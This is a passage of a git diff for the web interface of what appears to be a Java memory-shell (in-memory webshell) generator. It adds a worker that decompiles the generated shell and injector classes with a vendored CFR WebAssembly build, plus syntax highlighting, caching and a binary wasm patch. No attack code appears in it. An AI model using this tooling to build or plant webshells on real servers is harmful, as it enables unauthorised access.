byteCharacters.length; i++) { + bytes[i] = byteCharacters.charCodeAt(i); + } + return bytes; +} + +function toJvmClassName(className: string) { + return className.replaceAll(".", "/"); +} + +function tokenizeToLines(code: string): TokenLine[] { + const lines: TokenLine[] = [[]]; + const push = (type: string, text: string) => { + const parts = text.split("\n"); + for (let i = 0; i < parts.length; i++) { + if (i > 0) lines.push([]); + if (parts[i]) lines[lines.length - 1].push([type, parts[i]]); + } + }; + const walk = (token: string | Prism.Token, inheritedType: string) => { + if (typeof token === "string") { + push(inheritedType, token); + return; + } + const { type, content } = token; + if (typeof content === "string") { + push(type, content); + return; + } + for (const child of Array.isArray(content) ? content : [content]) { + walk(child, type); + } + }; + for (const token of Prism.tokenize(code, Prism.languages.java)) { + walk(token, "plain"); + } + return lines; +} + +async function decompileClass( + jvmClassName: string, + classes: Map, +): Promise { + const source = await decompile(jvmClassName, { source: (name) => classes.get(name) ?? null }); + return { source, lines: tokenizeToLines(source) }; +} + +self.onmessage = async (event: MessageEvent) => { + const { id, shellClassName, shellBytesBase64, injectorClassName, injectorBytesBase64 } = + event.data; + try { + const classes = new Map([ + [toJvmClassName(shellClassName), base64ToBytes(shellBytesBase64)], + [toJvmClassName(injectorClassName), base64ToBytes(injectorBytesBase64)], + ]); + const shell = await decompileClass(toJvmClassName(shellClassName), classes); + const injector = await decompileClass(toJvmClassName(injectorClassName), classes); + self.postMessage({ id, shell, injector } satisfies DecompileResponse); + } catch (error) { + self.postMessage({ + id, + error: error instanceof Error ? error.message : String(error), + } satisfies DecompileResponse); + } +}; diff --git a/web/app/lib/decompile/prism-worker-guard.ts b/web/app/lib/decompile/prism-worker-guard.ts new file mode 100644 index 00000000..63ca8938 --- /dev/null +++ b/web/app/lib/decompile/prism-worker-guard.ts @@ -0,0 +1,15 @@ +/** + * prismjs auto-registers a `message` listener when loaded inside a Web Worker + * (it expects JSON strings and calls JSON.parse on evt.data). Our worker + * exchanges structured-clone objects, which crashes that handler with an + * uncaught SyntaxError. Setting `self.Prism.disableWorkerMessageHandler` + * before prism-core evaluates suppresses the registration. + * + * Imported for side effects before any prismjs import — ES module evaluation + * order guarantees this runs first. + */ +(globalThis as unknown as { Prism: { disableWorkerMessageHandler: boolean } }).Prism = { + disableWorkerMessageHandler: true, +}; + +export {}; diff --git a/web/app/lib/decompile/use-decompiled-sources.ts b/web/app/lib/decompile/use-decompiled-sources.ts new file mode 100644 index 00000000..20e58d10 --- /dev/null +++ b/web/app/lib/decompile/use-decompiled-sources.ts @@ -0,0 +1,143 @@ +import type { DecompiledClass, DecompileRequest, DecompileResponse } from "./decompile.worker"; +import type { MemShellResult } from "@/types/memshell"; + +import { useEffect, useState } from "react"; + +export interface DecompiledSources { + shell: DecompiledClass | null; + injector: DecompiledClass | null; +} + +interface DecompileState { + sources: DecompiledSources; + isDecompiling: boolean; + error: string | null; +} + +const IDLE: DecompileState = { + sources: { shell: null, injector: null }, + isDecompiling: false, + error: null, +}; + +const CACHE_LIMIT = 8; +const cache = new Map(); + +function cacheGet(key: string) { + const value = cache.get(key); + if (value) { + cache.delete(key); + cache.set(key, value); + } + return value; +} + +function cacheSet(key: string, value: DecompiledSources) { + cache.set(key, value); + if (cache.size > CACHE_LIMIT) { + const oldest = cache.keys().next().value; + if (oldest !== undefined) cache.delete(oldest); + } +} + +/** FNV-1a over both base64 payloads; cheap identity for one generation. */ +function cacheKey(shellBytes: string, injectorBytes: string) { + let hash = 0x811c9dc5; + for (const str of [shellBytes, injectorBytes]) { + for (let i = 0; i < str.length; i++) { + hash ^= str.charCodeAt(i); + hash = Math.imul(hash, 0x01000193); + } + } + return `${(hash >>> 0).toString(36)}:${shellBytes.length}:${injectorBytes.length}`; +} + +let worker: Worker | null = null; +let nextId = 0; +const pending = new Map< + number, + { resolve: (value: DecompiledSources) => void; reject: (reason: Error) => void } +>(); + +function getWorker() { + if (!worker) { + worker = new Worker(new URL("./decompile.worker.ts", import.meta.url), { type: "module" }); + worker.onmessage = (event: MessageEvent) => { + const { id, shell, injector, error } = event.data; + const entry = pending.get(id); + if (!entry) return; + pending.delete(id); + if (error || !shell || !injector) { + entry.reject(new Error(error ?? "decompile failed")); + } else { + entry.resolve({ shell, injector }); + } + }; + worker.onerror = (event) => { + const reason = new Error(event.message || "decompile worker failed"); + for (const entry of pending.values()) entry.reject(reason); + pending.clear(); + }; + } + return worker; +} + +function decompileInWorker(request: Omit) { + return new Promise((resolve, reject) => { + const id = nextId++; + pending.set(id, { resolve, reject }); + getWorker().postMessage({ ...request, id } satisfies DecompileRequest); + }); +} + +export function useDecompiledSources(generateResult: MemShellResult | undefined) { + const shellClassName = generateResult?.shellClassName; + const shellBytesBase64 = generateResult?.shellBytesBase64Str; + const injectorClassName = generateResult?.injectorClassName; + const injectorBytesBase64 = generateResult?.injectorBytesBase64Str; + + const [state, setState] = useState(IDLE); + + useEffect(() => { + if (!shellClassName || !shellBytesBase64 || !injectorClassName || !injectorBytesBase64) { + setState(IDLE); + return; + } + + const key = cacheKey(shellBytesBase64, injectorBytesBase64); + const cached = cacheGet(key); + if (cached) { + setState({ sources: cached, isDecompiling: false, error: null }); + return; + } + + let cancelled = false; + setState({ sources: { shell: null, injector: null }, isDecompiling: true, error: null }); + + decompileInWorker({ + shellClassName, + shellBytesBase64, + injectorClassName, + injectorBytesBase64, + }) + .then((sources) => { + cacheSet(key, sources); + if (!cancelled) setState({ sources, isDecompiling: false, error: null }); + }) + .catch((error: unknown) => { + if (!cancelled) { + setState({ + sources: { shell: null, injector: null }, + isDecompiling: false, + error: error instanceof Error ? error.message : String(error), + }); + } + }); + + return () => { + cancelled = true; + }; + }, [injectorBytesBase64, injectorClassName, shellBytesBase64, shellClassName]); + + return state; +} diff --git a/web/bun.lock b/web/bun.lock index 02a3d971..da077431 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -11,6 +11,7 @@ "@orama/stopwords": "^3.1.18", "@orama/tokenizers": "^3.1.18", "@react-router/node": "^7.15.1", + "@run-slicer/cfr": "file:./vendor/cfr", "@tanstack/react-query": "^5.101.2", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", @@ -452,6 +453,8 @@ "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.62.2", "", { "os": "win32", "cpu": "x64" }, "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA=="], + "@run-slicer/cfr": ["@run-slicer/cfr@file:./vendor/cfr", {}], + "@shikijs/core": ["@shikijs/core@4.3.0", "", { "dependencies": { "@shikijs/primitive": "4.3.0", "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-EooU3i9F6IAE8kEu+AnGf9DFZWkQBZ+hJn3tLVbsH+61mtQiva5biai66fAA6nvFPXkLgvrh7BrR7YcJU83xQQ=="], "@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.3.0", "", { "dependencies": { "@shikijs/types": "4.3.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.6" } }, "sha512-hTv/KiFf2tpiqlACPiztGGurEARWIutB8YUhcrA1pUC7VzzwKO+g5crUocrLztrZ5ro5Z4hbXg7bYclETn3gSQ=="], diff --git a/web/package.json b/web/package.json index 20404758..fb129b3f 100644 --- a/web/package.json +++ b/web/package.json @@ -20,6 +20,7 @@ "@orama/stopwords": "^3.1.18", "@orama/tokenizers": "^3.1.18", "@react-router/node": "^7.15.1", + "@run-slicer/cfr": "file:./vendor/cfr", "@tanstack/react-query": "^5.101.2", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", diff --git a/web/vendor/cfr/cfr.d.ts b/web/vendor/cfr/cfr.d.ts new file mode 100644 index 00000000..b5221da0 --- /dev/null +++ b/web/vendor/cfr/cfr.d.ts @@ -0,0 +1,10 @@ +declare module "@run-slicer/cfr" { + export type Options = Record; + + export interface Config { + source?: (name: string) => Uint8Array | null; + options?: Options; + } + + export function decompile(name: string, config?: Config): Promise; +} diff --git a/web/vendor/cfr/cfr.js b/web/vendor/cfr/cfr.js new file mode 100644 index 00000000..ef86da88 --- /dev/null +++ b/web/vendor/cfr/cfr.js @@ -0,0 +1,19 @@ +const isNode = + typeof process !== "undefined" && + process?.versions?.node != null; +const wasmPath = async () => { + const url = new URL("./cfr.wasm", import.meta.url).href; + return isNode ? await import("node:url").then((mod) => mod.fileURLToPath(url)) : url; +}; + +let decompileFunc = null; +export const decompile = async (name, options) => { + if (!decompileFunc) { + const { load } = await import("./cfr.wasm-runtime.js"); + const { exports } = await load(await wasmPath(), { noAutoImports: true }); + + decompileFunc = exports.decompile; + } + + return decompileFunc(name, options); +}; diff --git a/web/vendor/cfr/cfr.wasm b/web/vendor/cfr/cfr.wasm new file mode 100644 index 0000000000000000000000000000000000000000..a2debba8fdba8a08b808b70f58866a1adb1ecd92 GIT binary patch literal 3501148 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 